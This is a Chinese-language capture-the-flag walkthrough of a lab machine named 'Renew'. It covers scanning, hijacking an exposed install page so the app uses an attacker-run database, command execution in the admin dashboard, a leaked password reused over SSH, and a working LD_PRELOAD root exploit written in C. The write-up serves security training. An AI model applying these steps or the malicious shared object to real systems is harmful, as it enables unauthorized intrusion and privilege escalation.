

Renew

信息搜集

```
(kali㉿192)-[~/Desktop/Dasz/renew]
$ cat ports.nmap
# Nmap 7.99 scan initiated Thu Aug 20 23:01:01 2026 as: /usr/lib/nmap/nmap -sT -sV -sC -O -p- -oA ports 192.168.5.21
Nmap scan report for 192.168.5.21
Host is up (0.00073s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.68 ((Debian))
|_http-title: Maze \xE7\xBD\x91\xE7\xBB\x9C\xE8\xBF\x90\xE7\xBB\xB4\xE5\xB9\xB3\xE5\x8F\xB0
|_http-server-header: Apache/2.4.68 (Debian)
MAC Address: 08:00:27:E5:96:FE (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Google C
4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Nintendo Switch (93%), Linux 3.2 - 4.14 (93%), OpenWrt 21.02 (Linux 5.4
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
(kali㉿192)-[~/Desktop/Dasz/renew]
$ cat vuln.nmap
# Nmap 7.99 scan initiated Thu Aug 20 23:02:26 2026 as: /usr/lib/nmap/nmap --s
Nmap scan report for 192.168.5.21
Host is up (0.00053s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_http-cookie-flags:
|_  /login.php:
|_  PHPSESSID:
|_  httponly flag not set
|_http-fileupload-exploiter:
|_
|_  Couldn't find a file-type field.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-enum:
|_  /login.php: Possible admin folder
MAC Address: 08:00:27:E5:96:FE (Oracle VirtualBox virtual NIC)
```

依旧两个端口，先从web入手

web

```
(kali㉿192)-[~/Desktop/Dasz/renew]
$ cat reports/http_192.168.5.21/26-08-2023-03-05.txt | grep 200
200    0B    http://192.168.5.21/config.php
200    1B    http://192.168.5.21/file.php
200   1007B  http://192.168.5.21/install.php
200   1007B  http://192.168.5.21/install.php?profile=default
200    753B  http://192.168.5.21/login.php
```

login

运维管理平台

请使用管理员账号登录

用户名

密码

登 录

登录页面login.php存在用户名爆破可能

运维管理平台

请使用管理员账号登录

用户名错误

用户名

|

运维管理平台

请使用管理员账号登录

用户名错误

用户名

|

hydra跑了一下只有admin，再尝试一下爆破密码，失败
sqlmap跑一下看是否存在注入，也没有什么收获，暂时放弃

install

系统安装向导

填写数据库信息与管理员账号,完成系统安装。该操作会覆盖现有配置。

数据库主机

端口

数据库名

数据库用户名

数据库密码

管理员用户名

管理员密码

开始安装

该页面能够编辑admin信息并覆盖原有数据

```
POST /install.php HTTP/1.1
Host : 192.168.5.21
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.21/install.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Origin: http://192.168.5.21
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Cookie: PHPSESSID=abd59b78b516ba8e774c67fbd365b9d
Upgrade-Insecure-Requests: 1
Content-Length: 100

db_host=localhost&db_port=3306&db_name=webapp&db_user=webapp&db_pass=webapp123&admin_user=admin&admin_pass=admin
```

```
1 HTTP/1.0 500 Internal Server Error
2 Date: Fri, 21 Aug 2026 14:23:12 GMT
3 Server: Apache/2.4.68 (Debian)
4 Connection: close
5 Content-Type: text/html; charset=UTF-8
6
7
```

报500, 可能数据库密码不对, 尝试爆破一下, 无果

尝试一下数据库能不能远程连接, 先在kali本地起一个sql, 改一下监听地址

```
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 0.0.0.0
```

```
CREATE USER 'webapp'@'%' IDENTIFIED BY 'webapp123';
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'%';
FLUSH PRIVILEGES;

CREATE DATABASE IF NOT EXISTS webapp CHARACTER SET utf8mb4 COLLATE
utf8mb4_unicode_ci;
```

系统安装向导

填写数据库信息与管理员账号,完成系统安装。该操作会覆盖现有配置。

数据库主机

192.168.5.20

端口

3306

数据库名

webapp

数据库用户名

webapp

数据库密码

.....

管理员用户名

admin

管理员密码

.....|

开始安装

覆盖配置

安装完成

系统初始化成功

安装完成!管理员账号 **admin** 已创建,数据库配置已写入 config.php。现在可以 [登录后台](#) 了。

系统管理后台

欢迎回来,admin · [退出登录](#)

磁盘使用情况 (du)

执行

```
POST /dashboard.php HTTP/1.1
Host: 192.168.5.21
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Cookie: PHPSESSID=abd59b78b516ba8e774c67fbd365b9d
Origin: http://192.168.5.21
Referer: http://192.168.5.21/dashboard.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Length: 25

cmd=ls
```

系统管理后台

欢迎回来,admin · [退出登录](#)

磁盘使用情况 (du)

已执行: ls

bak.php
config.php
dashboard.php
file.php
index.php
install.php

后台存在命令执行，尝试反弹shell，不太好用

```
(kali㉿192)-[/etc/mysql]
$ sudo nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.5.20] from (UNKNOWN) [192.168.5.21] 55912
ls
ls
```

敏感文件搜集

```
mysql:x:101:103:MariaDB Server:/nonexistent:/bin/false
u12138:x:1000:1000::/home/u12138:/bin/bash
```

bak.php

```
<?php
// Database configuration (backup copy, kept by sysadmin)
$db_host = 'localhost';
$db_port = '3306';
$db_user = 'webapp';
$db_pass = 'oQuPn4zOHN60zz3UdyE6';
$db_name = 'webapp';
?>
```

发现原始密码，尝试一下ssh登录

```
Last login: Fri Aug 21 09:40:18 2026 from 192.168.5.20
u12138@Renew:~$ |
```

```
flag{user-6a9729d94dcd1286a3c932fd2d687c7a}
```

提权

```
u12138@Renew:~$ sudo -l
Matching Defaults entries for u12138 on Renew:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:usr/local/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/games:/snap/bin

User u12138 may run the following commands on Renew:
    (root) SETENV: NOPASSWD: /usr/bin/id
```

/usr/bin/id有免密sudo，并且能够设置运行时环境变量，LD_PRELOAD提权

编写恶意.so文件

```
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init(void){
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("cp /bin/bash /home/u12138/rb && chmod 4755 /home/u12138/rb");
    system("id > /home/u12138/marker.txt 2>&1");
}
```

```
gcc -shared -fPIC -o evil.so evil.c
```

上传到靶机家目录

```
u12138@Renew:~$ sudo LD_PRELOAD=./evil.so id
uid=0(root) gid=0(root) groups=0(root)
u12138@Renew:~$ ls
evil.so id marker.txt rb user.txt
u12138@Renew:~$ |
```

```
u12138@Renew:~$ sudo LD_PRELOAD=./evil.so id
uid=0(root) gid=0(root) groups=0(root)
u12138@Renew:~$ ls
evil.so id marker.txt rb user.txt
u12138@Renew:~$ |
```

```
flag{root-e723611b23de3b150340a79dd3b63373}
```